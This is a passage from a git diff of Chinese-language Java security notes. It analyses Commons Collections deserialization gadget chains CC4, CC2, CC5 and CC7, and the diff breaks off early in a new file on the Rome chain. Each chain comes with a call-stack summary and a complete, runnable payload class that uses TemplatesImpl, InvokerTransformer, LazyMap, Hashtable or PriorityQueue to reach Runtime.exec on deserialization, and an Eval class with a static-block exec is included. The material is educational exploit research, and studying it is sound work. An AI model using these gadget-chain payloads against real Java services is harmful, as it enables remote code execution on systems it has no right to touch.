TransformingComparator(Transformer transformer, Comparator decorated) { + this.decorated = decorated; + this.transformer = transformer; +} +``` + +另一个构造方法又调用了这个构造方法: + +``` +public TransformingComparator(Transformer transformer) { + this(transformer, ComparatorUtils.NATURAL_COMPARATOR); +} +``` + +都是 public ,好说。 + +### 入口类之 PriorityQueue + +###### PriorityQueue#siftDownUsingComparator() + +PriorityQueue 类的 siftDownUsingComparator 方法调用了 comparator 的 compare 方法: + +``` +private void siftDownUsingComparator(int k, E x) { + int half = size >>> 1; + while (k < half) { + int child = (k << 1) + 1; + Object c = queue[child]; + int right = child + 1; + if (right < size && + comparator.compare((E) c, (E) queue[right]) > 0) + c = queue[child = right]; + if (comparator.compare(x, (E) c) <= 0) + break; + queue[k] = c; + k = child; + } + queue[k] = x; +} +``` + +comparator 是 PriorityQueue 中定义的成员属性: + +``` +private final Comparator comparator; +``` + +在构造方法中被赋值: + +``` +public PriorityQueue(int initialCapacity, + Comparator comparator) { + // Note: This restriction of at least one is not actually needed, + // but continues for 1.5 compatibility + if (initialCapacity < 1) + throw new IllegalArgumentException(); + this.queue = new Object[initialCapacity]; + this.comparator = comparator; +} +``` + +这个构造方法又被另一个构造方法调用: + +``` +public PriorityQueue(Comparator comparator) { + this(DEFAULT_INITIAL_CAPACITY, comparator); +} +``` + +只需要将 PriorityQueue 的 comparator 属性赋值成 TransformingComparator 对象即可。 + +###### PriorityQueue#siftDown() + +PriorityQueue 的 siftDown 方法调用了 siftDownUsingComparator 方法: + +``` +private void siftDown(int k, E x) { + if (comparator != null) + siftDownUsingComparator(k, x); + else + siftDownComparable(k, x); +} +``` + +###### PriorityQueue#heapify() + +PriorityQueue 的 heapify 方法调用了 siftDown 方法: + +``` +private void heapify() { + for (int i = (size >>> 1) - 1; i >= 0; i--) + siftDown(i, (E) queue[i]); +} +``` + +但是通过代码我们可以发现,进入 for 循环的条件是 `(size >>> 1) - 1 >= 0` ,意思就是将 size 的二进制位无符号右移一位(高位用 0 补全)再减去 1 要大于等于 0 ,故而 size 要大于等于 2 。 + +size 是 PriorityQueue 中定义的属性,初始值为 0: + +``` +private int size = 0; +``` + +想要增加 size 的值,可以通过 PriorityQueue 的 offer 方法: + +``` +public boolean offer(E e) { + if (e == null) + throw new NullPointerException(); + modCount++; + int i = size; + if (i >= queue.length) + grow(i + 1); + size = i + 1; + if (i == 0) + queue[0] = e; + else + siftUp(i, e); + return true; +} +``` + +从代码中可以看出,offer 方法每被调用一次,size 都会在原来的基础上加 1 。 + +当然也可以使用 PriorityQueue 的 add 方法,add 方法调用了 offer 方法: + +``` +public boolean add(E e) { + return offer(e); +} +``` + +至于这里为什么不直接用反射修改呢,原因是 size 表示的是这个优先队列中元素的个数: + +![](https://changeyourway.github.io/images/image-20240530173750752.png) + +如果不往这个优先队列中添加元素,而是直接暴力反射修改 size 的值,那么在序列化时将会报错。 + +具体可以看 PriorityQueue 的 writeObject 方法: + +``` +private void writeObject(java.io.ObjectOutputStream s) + throws java.io.IOException { + // Write out element count, and any hidden stuff + s.defaultWriteObject(); + + // Write out array length, for compatibility with 1.5 version + s.writeInt(Math.max(2, size + 1)); + + // Write out all elements in the "proper order". + for (int i = 0; i < size; i++) + s.writeObject(queue[i]); +} +``` + +###### PriorityQueue#readObject() + +PriorityQueue 的 readObject 方法调用了 heapify 方法: + +``` +private void readObject(java.io.ObjectInputStream s) + throws java.io.IOException, ClassNotFoundException { + // Read in size, and any hidden stuff + s.defaultReadObject(); + + // Read in (and discard) array length + s.readInt(); + + queue = new Object[size]; + + // Read in all elements. + for (int i = 0; i < size; i++) + queue[i] = s.readObject(); + + // Elements are guaranteed to be in "proper order", but the + // spec has never explained what that might be. + heapify(); +} +``` + +### 调用栈总结 + +``` +PriorityQueue#readObject() +PriorityQueue#heapify() +PriorityQueue#siftDown() +PriorityQueue#siftDownUsingComparator() +TransformingComparator#compare() +ChainedTransformer#transform() + -> ConstantTransformer#transform() + -> InstantiateTransformer#transform() + TrAXFilter#TrAXFilter() + TemplatesImpl#newTransformer() + TemplatesImpl#getTransletInstance() + -> TemplatesImpl#defineTransletClasses() + TransletClassLoader#defineClass() # 类加载的前四个阶段 + -> Class#newInstance() # 初始化时执行静态代码块 +``` + +### payload + +Eval 类: + +``` +import com.sun.org.apache.xalan.internal.xsltc.DOM; +import com.sun.org.apache.xalan.internal.xsltc.TransletException; +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; +import com.sun.org.apache.xml.internal.serializer.SerializationHandler; + +import java.io.IOException; +import java.io.Serializable; + +public class Eval extends AbstractTranslet { + // 恶意代码放在静态代码块中 + static { + try { + Runtime.getRuntime().exec("calc"); + } catch (IOException e) { + throw new RuntimeException(e); + } + } + + // 需要重写父类的两个方法 + @Override + public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { + + } + + @Override + public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { + + } +} +``` + +执行程序: + +``` +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; + +import org.apache.commons.collections4.Transformer; +import org.apache.commons.collections4.comparators.TransformingComparator; +import org.apache.commons.collections4.functors.ChainedTransformer; +import org.apache.commons.collections4.functors.ConstantTransformer; +import org.apache.commons.collections4.functors.InstantiateTransformer; + +import javax.xml.transform.Templates; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.lang.reflect.Field; +import java.nio.file.Files; +import java.nio.file.Paths; +import java.util.PriorityQueue; + +public class CC4 { + + public static void main(String[] args) { + try{ + // 初始化 TemplatesImpl 对象 + TemplatesImpl templates = new TemplatesImpl(); + // 这里需要用到恶意类的字节码文件,通过 maven 编译后 target 目录下有字节码文件 + byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\miaoj\\Documents\\Java安全代码实验\\CC2457test\\target\\classes\\com\\miaoji\\Eval.class")); + setFieldValue(templates, "_bytecodes", new byte[][]{code}); + // _name 不为空 + setFieldValue(templates, "_name", "test"); + + // 利用 ChainedTransformer 执行 templates.newTransformer() + Transformer[] transformers = new Transformer[] { + new ConstantTransformer(TrAXFilter.class), + new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) + }; + ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); + + // 利用 TransformingComparator 执行 transform 方法 + TransformingComparator comparator = new TransformingComparator(chainedTransformer); + + // 初始化入口类 PriorityQueue + PriorityQueue priorityQueue = new PriorityQueue(2); + // 向 priorityQueue 中添加元素,使得元素个数 size 增加 + priorityQueue.add(1); + priorityQueue.add(1); + + // 在 add 调用完之后,再反射修改 comparator 属性为 TransformingComparator 对象 + Object[] objects = new Object[]{templates, null}; + setFieldValue(priorityQueue, "comparator", comparator); + + // 序列化成字节数组 + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(baos); + oos.writeObject(priorityQueue); + oos.flush(); + oos.close(); + + // 反序列化字节数组 + ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); + ObjectInputStream ois = new ObjectInputStream(bais); + ois.readObject(); + ois.close(); + + } catch (Exception e) { + e.printStackTrace(); + } + + } + + //反射设置 Field + public static void setFieldValue(Object object, String fieldName, Object value) { + try { + Field field = object.getClass().getDeclaredField(fieldName); + field.setAccessible(true); + field.set(object, value); + } catch (Exception e) { + e.printStackTrace(); + } + } +} +``` + +这里需要再说明一下,为什么不在构造方法中将 PriorityQueue 的 comparator 属性为 TransformingComparator 对象呢?因为 add 方法会提前调用 comparator.compare() ,造成序列化时命令执行,具体调用如下: + +``` +PriorityQueue#add() + +-> PriorityQueue#offer() + +-> PriorityQueue#siftUp() + +-> PriorityQueue#siftUpUsingComparator() + +-> PriorityQueue.comparator#compare() +``` + +所以 payload 是在 add 方法调用完后再将 comparator 属性赋值。 + +## CC2 链 + +CC2 链与 CC4 链的相同之处在于它们都将 PriorityQueue 作为入口类,利用 TransformingComparator#compare() 来调用 transform 方法。不同之处在于 CC2 链用 InvokerTransformer 代替 TrAXFilter + InstantiateTransformer 来执行 TemplatesImpl#newTransformer() + +### 调用栈总结 + +``` +PriorityQueue#readObject() +PriorityQueue#heapify() +PriorityQueue#siftDown() +PriorityQueue#siftDownUsingComparator() +TransformingComparator#compare() +ChainedTransformer#transform() + -> ConstantTransformer#transform() + -> InvokerTransformer#transform() + TemplatesImpl#newTransformer() + TemplatesImpl#getTransletInstance() + -> TemplatesImpl#defineTransletClasses() + TransletClassLoader#defineClass() # 类加载的前四个阶段 + -> Class#newInstance() # 初始化时执行静态代码块 +``` + +### payload + +``` +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; + +import org.apache.commons.collections4.Transformer; +import org.apache.commons.collections4.comparators.TransformingComparator; +import org.apache.commons.collections4.functors.ChainedTransformer; +import org.apache.commons.collections4.functors.ConstantTransformer; +import org.apache.commons.collections4.functors.InvokerTransformer; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.lang.reflect.Field; +import java.nio.file.Files; +import java.nio.file.Paths; +import java.util.PriorityQueue; + +public class CC2 { + public static void main(String[] args) { + try{ + // 初始化 TemplatesImpl 对象 + TemplatesImpl templates = new TemplatesImpl(); + // 这里需要用到恶意类的字节码文件,通过 maven 编译后 target 目录下有字节码文件 + byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\miaoj\\Documents\\Java安全代码实验\\CC2457test\\target\\classes\\com\\miaoji\\Eval.class")); + setFieldValue(templates, "_bytecodes", new byte[][]{code}); + // _name 不为空 + setFieldValue(templates, "_name", "test"); + + // 利用 ChainedTransformer 执行 templates.newTransformer() + Transformer[] transformers = new Transformer[] { + new ConstantTransformer(templates), + new InvokerTransformer("newTransformer", null,null) + }; + ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); + + // 利用 TransformingComparator 执行 transform 方法 + TransformingComparator comparator = new TransformingComparator(chainedTransformer); + + // 初始化入口类 PriorityQueue + PriorityQueue priorityQueue = new PriorityQueue(2); + // 向 priorityQueue 中添加元素,使得元素个数 size 增加 + priorityQueue.add(1); + priorityQueue.add(1); + + // 在 add 调用完之后,再反射修改 comparator 属性为 TransformingComparator 对象 + Object[] objects = new Object[]{templates, null}; + setFieldValue(priorityQueue, "comparator", comparator); + + // 序列化成字节数组 + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(baos); + oos.writeObject(priorityQueue); + oos.flush(); + oos.close(); + + // 反序列化字节数组 + ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); + ObjectInputStream ois = new ObjectInputStream(bais); + ois.readObject(); + ois.close(); + + } catch (Exception e) { + e.printStackTrace(); + } + + } + + //反射设置 Field + public static void setFieldValue(Object object, String fieldName, Object value) { + try { + Field field = object.getClass().getDeclaredField(fieldName); + field.setAccessible(true); + field.set(object, value); + } catch (Exception e) { + e.printStackTrace(); + } + } +} +``` + +## CC5 链 + +CC5 链将 BadAttributeValueExpException#readObject() 作为入口,利用 TiedMapEntry#tostring() 来调用 LazyMap#get() ,进而调用 transform 方法。 + +**实验环境** + +- java = 8u65 +- CommonsCollections = 3.2.1 + +pom.xml 中导入如下依赖: + +``` + + commons-collections + commons-collections + 3.2.1 + +``` + +### 利用链之 TiedMapEntry + +前面在使用 TiedMapEntry 时,用的是它的 getValue 方法来调用其成员属性 map 的 get 方法: + +``` +public Object getValue() { + return map.get(key); +} +``` + +TiedMapEntry 的 toString 方法又调用了 getValue 方法: + +``` +public String toString() { + return getKey() + "=" + getValue(); +} +``` + +### 入口类之 BadAttributeValueExpException + +BadAttributeValueExpException 的 readObject 方法调用了 valObj 的 toString 方法: + +``` +private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { + ObjectInputStream.GetField gf = ois.readFields(); + Object valObj = gf.get("val", null); + + if (valObj == null) { + val = null; + } else if (valObj instanceof String) { + val= valObj; + } else if (System.getSecurityManager() == null + || valObj instanceof Long + || valObj instanceof Integer + || valObj instanceof Float + || valObj instanceof Double + || valObj instanceof Byte + || valObj instanceof Short + || valObj instanceof Boolean) { + val = valObj.toString(); + } else { // the serialized object is from a version without JDK-8019292 fix + val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); + } +} +``` + +我们看看 valObj 是怎么来的: + +`ObjectInputStream.GetField gf = ois.readFields();` + +- ois:一个 ObjectInputStream 实例,用于从输入流中读取对象。 +- readFields():读取对象的字段,并返回一个 ObjectInputStream.GetField 对象,这个对象包含了序列化对象的字段和值。 + +`Object valObj = gf.get("val", null);` + +- gf:前面获取的 ObjectInputStream.GetField 对象。 +- get(“val”, null):从 gf 中获取名为 val 的字段值。如果 val 字段不存在,则返回 null。 + +所以说,valObj 的值就是 val 的值,而 val 是 BadAttributeValueExpException 中定义的属性: + +``` +private Object val; +``` + +所以我们只需要将 val 赋值成 TiedMapEntry 对象即可。 + +但是我们并不能用构造方法赋值,因为构造方法会提前调用 val 的 toString 方法,造成命令执行: + +``` +public BadAttributeValueExpException (Object val) { + this.val = val == null ? null : val.toString(); +} +``` + +所以这里选择反射修改 val 的值。 + +再来看判断,调用 valObj.toString() 的前提是: + +``` +System.getSecurityManager() == null + || valObj instanceof Long + || valObj instanceof Integer + || valObj instanceof Float + || valObj instanceof Double + || valObj instanceof Byte + || valObj instanceof Short + || valObj instanceof Boolean +``` + +这个式子返回 true 。若 valObj 为 TiedMapEntry 对象,则所有的 instanceof 判断均为 false 。System.getSecurityManager() 作用是获取当前 Java 虚拟机 (JVM) 安装的 SecurityManager( Java 中的一种安全机制,用于在运行时对代码进行安全检查),默认情况下是没有安装的,所以返回 null ,那么上述判断默认情况下为 true 。 + +当然也就可以知道:理论上,如果受害者安装了 SecurityManager ,CC5 链就行不通。 + +### 调用栈总结 + +``` +BadAttributeValueExpException#readObject() +TiedMapEntry#toString() +TiedMapEntry#getValue() +LazyMap#get() +ChainedTransformer#transform() + -> ConstantTransformer#transform() + -> InvokerTransformer#transform() + Runtime#exec() +``` + +### payload + +CC5 链还是采用 InvokerTransformer 命令执行的办法。 + +``` +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import javax.management.BadAttributeValueExpException; +import java.io.*; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Map; + +public class CC5 { + public static void main(String[] args) throws Exception { + + // 利用 ChainedTransformer 执行 Runtime.getRuntime.exec("calc") + Transformer[] transformers = new Transformer[] { + new ConstantTransformer(Runtime.class), + new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), + new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), + new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) + }; + Transformer chainedTransformer = new ChainedTransformer(transformers); + + // 利用 LazyMap 的 get 方法执行 ChainedTransformer 的 transform 方法 + Map uselessMap = new HashMap(); + Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer); + + // 利用 TiedMapEntry 的 toString 方法执行 LazyMap 的 get 方法 + TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test"); + + // 利用 BadAttributeValueExpException 的 readObject 方法执行 TiedMapEntry 的 toString 方法 + BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); + + // 反射设置 val ,不在构造方法中设置 val 是为了避免提前代码执行 + Field val = BadAttributeValueExpException.class.getDeclaredField("val"); + val.setAccessible(true); + val.set(badAttributeValueExpException, tiedMapEntry); + + // 序列化成字节数组 + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(baos); + oos.writeObject(badAttributeValueExpException); + oos.flush(); + oos.close(); + + // 反序列化字节数组 + ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); + ObjectInputStream ois = new ObjectInputStream(bais); + ois.readObject(); + ois.close(); + + } +} +``` + +## CC7 链 + +CC7 链将 Hashtable#readObject() 作为入口,利用 AbstractMap#equals() 来调用 LazyMap#get() ,进而调用 transform 方法。 + +### 利用链之 AbstractMap + +AbstractMap 的 equals 方法调用了 m 的 get 方法: + +``` +public boolean equals(Object o) { + if (o == this) + return true; + + if (!(o instanceof Map)) + return false; + Map m = (Map) o; + if (m.size() != size()) + return false; + + try { + Iterator> i = entrySet().iterator(); + while (i.hasNext()) { + Entry e = i.next(); + K key = e.getKey(); + V value = e.getValue(); + if (value == null) { + if (!(m.get(key)==null && m.containsKey(key))) + return false; + } else { + if (!value.equals(m.get(key))) + return false; + } + } + } catch (ClassCastException unused) { + return false; + } catch (NullPointerException unused) { + return false; + } + + return true; +} +``` + +来看 m 在 equals 方法中的定义: + +``` +Map m = (Map) o; +``` + +所以只要将传入的 o 设置成 LazyMap 对象就好了。 + +### 利用链之 AbstractMapDecorator + +AbstractMapDecorator 的 equals 方法会调用 map 的 equals 方法: + +``` +public boolean equals(Object object) { + if (object == this) { + return true; + } + return map.equals(object); +} +``` + +map 是 AbstractMapDecorator 中定义的成员属性: + +``` +protected transient Map map; +``` + +在构造方法中被赋值: + +``` +public AbstractMapDecorator(Map map) { + if (map == null) { + throw new IllegalArgumentException("Map must not be null"); + } + this.map = map; +} +``` + +可以将 map 赋值成 AbstractMap 对象。 + +### 入口类之 Hashtable + +Hashtable 的 reconstitutionPut 方法调用了 e.key.equals() : + +``` +private void reconstitutionPut(Entry[] tab, K key, V value) + throws StreamCorruptedException +{ + if (value == null) { + throw new java.io.StreamCorruptedException(); + } + // Makes sure the key is not already in the hashtable. + // This should not happen in deserialized version. + int hash = key.hashCode(); + int index = (hash & 0x7FFFFFFF) % tab.length; + for (Entry e = tab[index] ; e != null ; e = e.next) { + if ((e.hash == hash) && e.key.equals(key)) { + throw new java.io.StreamCorruptedException(); + } + } + // Creates the new entry. + @SuppressWarnings("unchecked") + Entry e = (Entry)tab[index]; + tab[index] = new Entry<>(hash, key, value, e); + count++; +} +``` + +这里需要注意几个点: + +一是 value 需要不为空,否则抛出异常; + +二是 for 循环中的 if 判断条件 (e.hash == hash) && e.key.equals(key) ,使用 && 符号,具有短路特性,也就是说只有左边的式子返回 true ,右边的式子才会执行。 + +Hashtable 的 value 属性可以通过 put 方法赋值; + +要调用到 e.key.equals() 我们需要保证 e.key 是一个 AbstractMapDecorator 对象,但是 AbstractMapDecorator 是一个抽象类,并不能直接 new 对象,已知 LazyMap 继承了 AbstractMapDecorator 这个抽象类,所以可以考虑将 e.key 赋值为 LazyMap 对象; + +e 是传入的参数 Entry\[\] tab 数组的某一个键值对,想知道这个 tab 是什么,还得往后看。 + +Hashtable 的 readObject 方法调用了 reconstitutionPut 方法: + +``` +private void readObject(java.io.ObjectInputStream s) + throws IOException, ClassNotFoundException +{ + // Read in the length, threshold, and loadfactor + s.defaultReadObject(); + + // Read the original length of the array and number of elements + int origlength = s.readInt(); + int elements = s.readInt(); + + // Compute new size with a bit of room 5% to grow but + // no larger than the original size. Make the length + // odd if it's large enough, this helps distribute the entries. + // Guard against the length ending up zero, that's not valid. + int length = (int)(elements * loadFactor) + (elements / 20) + 3; + if (length > elements && (length & 1) == 0) + length--; + if (origlength > 0 && length > origlength) + length = origlength; + table = new Entry[length]; + threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1); + count = 0; + + // Read the number of elements and then all the key/value objects + for (; elements > 0; elements--) { + @SuppressWarnings("unchecked") + K key = (K)s.readObject(); + @SuppressWarnings("unchecked") + V value = (V)s.readObject(); + // synch could be eliminated for performance + reconstitutionPut(table, key, value); + } +} +``` + +可以看到传入 reconstitutionPut 方法的第一个参数是 table ,table 是 Hashtable 中定义的一个属性: + +``` +private transient Entry[] table; +``` + +这个属性被 transient 修饰,不能参加序列化,也就是说反序列化通过 Hashtable 的 readObject 方法第一次调用 reconstitutionPut 方法时,table 至少是没有值的。 + +再放一遍 reconstitutionPut 代码: + +![](https://changeyourway.github.io/images/image-20240603145606511.png) + +回到前面的问题,第一次调用 reconstitutionPut 方法时 table 为空,故而 for 循环中取到的 e 为空,直接跳出 for 循环,进行后面的赋值: + +``` +Entry e = (Entry)tab[index]; +tab[index] = new Entry<>(hash, key, value, e); +``` + +这里调用了 Entry 的构造方法,会将其成员属性 hash 赋值为前面调用 key.hashCode() 算出来的 hash 值。 + +Entry 是 Hashtable 中的一个静态内部类,其构造方法如下: + +![](https://changeyourway.github.io/images/image-20240603144348816.png) + +第一次 reconstitutionPut 方法被调用完后,会回到 readObject 方法的循环中,Hashtable 中的键值对有多少个,这个 for 循环就执行多少次,reconstitutionPut 方法就被调用多少次,那么如果在 Hashtable 中放入两个 LazyMap 对象: + +``` +hashtable.put(lazyMap1, "test"); +hashtable.put(lazyMap2, "test"); +``` + +reconstitutionPut 方法自然会执行两次,第二次调用时,tab\[index\] 就有值了,且只有一个值,就是 lazyMap1 => “test” ,我们又知道,hash 是调用 key.hashCode() 得到的,lazyMap1.hashCode() 会调用其父类 AbstractMapDecorator 的 hashCode() 方法,并最终会调用其成员属性 map 的 hashCode() 方法。 + +若 map 是 HashMap 对象,则会调用 HashMap 的 hashCode() 方法,这个方法在其静态内部类 Node 中: + +``` +public final int hashCode() { + return Objects.hashCode(key) ^ Objects.hashCode(value); +} +``` + +可以看到,HashMap 的 hashCode() 方法是分别计算其 key 的 hash 和 value 的 hash 再按位异或得到的。 + +接下来需要使判断 `e.hash == hash` 返回 true ,即使 `lazyMap1.hashCode() == lazyMap2.hashCode()` 成立。但是 lazyMap1 与 lazyMap2 又不能完全一样,因为 hashtable.put 在往 hashtable 对象里添加键值对的时候,如果键一样的话,会将值替换掉,如果 lazyMap1 与 lazyMap2 完全一样,那么第二个 put 就只会做替换,这样 hashtable 对象里面就仍然只有一个键值对。 + +所以这里我们沿用前辈们的思路: + +``` +lazyMap1.put("yy", 1); +lazyMap2.put("zZ", 1); +``` + +由于 “yy” 与 “zZ” 算出来的 hash 值一样,所以这样设置好两个 LazyMap 对象中的 map 属性之后,hashCode() 方法得出来的结果是一样的。 + +最后一点就是,hashtable 的 put 方法会提前调用 equals 方法: + +``` +public synchronized V put(K key, V value) { + // Make sure the value is not null + if (value == null) { + throw new NullPointerException(); + } + + // Makes sure the key is not already in the hashtable. + Entry tab[] = table; + int hash = key.hashCode(); + int index = (hash & 0x7FFFFFFF) % tab.length; + @SuppressWarnings("unchecked") + Entry entry = (Entry)tab[index]; + for(; entry != null ; entry = entry.next) { + if ((entry.hash == hash) && entry.key.equals(key)) { + V old = entry.value; + entry.value = value; + return old; + } + } + + addEntry(hash, key, value, index); + return null; +} +``` + +仔细观察上述代码,发现跟 reconstitutionPut 方法很像,所以为了防止提前命令执行,先传入一个空的 Transformer 到 LazyMap 即可。 + +有了上述的结论,就可以开始书写 payload 了。 + +### payload + +``` +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.map.LazyMap; + +import java.io.*; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Map; + +public class CC7 { + + public static void main(String[] args) throws Exception { + // 利用 ChainedTransformer 执行 Runtime.getRuntime.exec("calc") + Transformer[] transformers = new Transformer[] { + new ConstantTransformer(Runtime.class), + new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), + new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), + new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) + }; + + // 先传入空的 Transformer 数组,防止 put 时命令执行 + Transformer[] transformers1 = new Transformer[]{}; + Transformer chainedTransformer = new ChainedTransformer(transformers1); + + // 新建两个 HashMap 作为传入的参数 + Map innerMap1 = new HashMap(); + Map innerMap2 = new HashMap(); + + // 新建两个 LazyMap ,确保 hashCode() 结果一样 + Map lazyMap1 = LazyMap.decorate(innerMap1,chainedTransformer); + lazyMap1.put("yy", 1); + Map lazyMap2 = LazyMap.decorate(innerMap2,chainedTransformer); + lazyMap2.put("zZ", 1); + + // 新建入口类 Hashtable + Hashtable hashtable = new Hashtable(); + hashtable.put(lazyMap1, "test1"); + hashtable.put(lazyMap2, "test2"); + + // 通过反射设置 transformer 数组 + Field field = chainedTransformer.getClass().getDeclaredField("iTransformers"); + field.setAccessible(true); + field.set(chainedTransformer, transformers); + + //上面的 hashtable.put 会使得 lazyMap2 增加一个 yy=>yy,所以这里要移除 + lazyMap2.remove("yy"); + + // 序列化成字节数组 + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(baos); + oos.writeObject(hashtable); + oos.flush(); + oos.close(); + + // 反序列化字节数组 + ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); + ObjectInputStream ois = new ObjectInputStream(bais); + ois.readObject(); + ois.close(); + } + +} +``` + +### 调用栈总结 + +梳理调用栈之前,先知道两件事: + +- LazyMap 继承了 AbstractMapDecorator +- HashMap 继承了 AbstractMap + +``` +Hashtable#readObject() + -> Hashtable#reconstitutionPut() + -> Hashtable#reconstitutionPut() + AbstractMapDecorator#equals() + AbstractMap#equals() + LazyMap#get() + ChainedTransformer#transform() + InvokerTransformer#transform() + Runtime#exec() +``` + +## 参考文章 + +[CC链 1-7 分析](https://xz.aliyun.com/t/9409?time__1311=n4+xuDgD9AYCqAKGQ3DsD7feyK4AxxnAxbD&alichlgref=https://www.google.com/) + +[https://www.yuque.com/5tooc3a/jas/gggdt0vwi5n0zwhr#CUjq4](https://www.yuque.com/5tooc3a/jas/gggdt0vwi5n0zwhr#CUjq4) diff --git a/books/漏洞篇 - Java 反序列化之 Rome 链.md b/books/漏洞篇 - Java 反序列化之 Rome 链.md new file mode 100644 index 0000000..91452d5 --- /dev/null +++ b/books/漏洞篇 - Java 反序列化之 Rome 链.md @@ -0,0 +1,996 @@ +# 漏洞篇 - Java 反序列化之 Rome 链 +> 2024-06-07 +> 来源:https://changeyourway.github.io/2024/06/07/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87-Rome%E5%88%A9%E7%94%A8%E9%93%BE%E5%88%86%E6%9E%90/ + +ROME 是一个强大的 Java 库,用于解析和生成各种格式的 RSS 和 Atom feeds 。它兼容多种版本的 RSS(包括 RSS 0.90、0.91、0.92、0.93、0.94、1.0 和 2.0 )和 Atom(包括 0.3 和 1.0 )。ROME 提供了一个统一的 API ,简化了处理不同 feed 格式的复杂性。 + +## 前置知识概览 + +### Rome 介绍 + +ROME 是一个强大的 Java 库,用于解析和生成各种格式的 RSS 和 Atom feeds 。它兼容多种版本的 RSS(包括 RSS 0.90、0.91、0.92、0.93、0.94、1.0 和 2.0 )和 Atom(包括 0.3 和 1.0 )。ROME 提供了一个统一的 API ,简化了处理不同 feed 格式的复杂性。 + +### 什么是 feed + +在 Web 技术中,” feed “ 指的是一种特定的格式,应用于定期更新和发布内容的文件。它允许用户通过订阅机制获取最新的内容更新。Feed 通常用于博客、新闻网站、播客和其他频繁更新的网站,以便用户可以集中阅读和获取最新的内容,而无需逐一访问这些网站。 + +**Feed 的工作原理** + +1. 发布:网站创建和发布 feed 文件,这个文件包含最新的内容更新。 +2. 订阅:用户通过 feed 阅读器订阅该 feed 。阅读器会定期检查 feed 文件的更新。 +3. 通知:当 feed 文件更新时,阅读器会下载新的内容并通知用户。 + +**Feed 的常见格式** + +1. **RSS** (Really Simple Syndication):RSS 是一种 XML 格式,用于描述网站内容的更新。RSS 最初由 Netscape 在 1999 年开发,目的是方便内容的聚合和订阅。RSS 有多个版本,最常用的是 RSS 2.0 。 +2. **Atom**:Atom 是一种 XML 格式,用于描述和同步 Web 内容的更新。它是由 IETF(互联网工程任务组)在 2005 年发布的标准,比 RSS 稍晚推出,目的是解决 RSS 的一些局限性。 + +## 环境搭建 + +我个人本次实验环境为: + +- JDK = 8u71 +- rome = 1.0 + +导入 rome 依赖: + +``` + + rome + rome + 1.0 + +``` + +## ysoserial 利用链分析 + +Rome 链的核心在于 ToStringBean#toString(String) 方法会调用一个类的所有公共 getter 和 setter 方法,于是我们让他来调用 TemplatesImpl#getOutputProperties() 方法。 + +### TemplatesImpl#getOutputProperties() + +TemplatesImpl 的 getOutputProperties() 方法会调用 newTransformer() ,进而造成类加载: + +``` +public synchronized Properties getOutputProperties() { + try { + return newTransformer().getOutputProperties(); + } + catch (TransformerConfigurationException e) { + return null; + } +} +``` + +之后的利用链就是 TemplatesImpl 的常规用法: + +``` +TemplatesImpl#newTransformer() + TemplatesImpl#getTransletInstance() + TemplatesImpl#defineTransletClasses() + TransletClassLoader#defineClass() +``` + +### BeanIntrospector#getPDs(Class) + +BeanIntrospector 的 getPDs 方法会利用反射获取一个类的所有公共 getter 和 setter 方法: + +``` +private static PropertyDescriptor[] getPDs(Class klass) throws IntrospectionException { + // 利用反射获取传入的 Class 对象的所有 public 方法 + Method[] methods = klass.getMethods(); + Map getters = getPDs(methods,false); + Map setters = getPDs(methods,true); + List pds = merge(getters,setters); + PropertyDescriptor[] array = new PropertyDescriptor[pds.size()]; + pds.toArray(array); + return array; +} +``` + +这里选择传入 Templates.class 作为参数,原因是 Templates 接口中只定义了两个方法,且包含我们所需要的 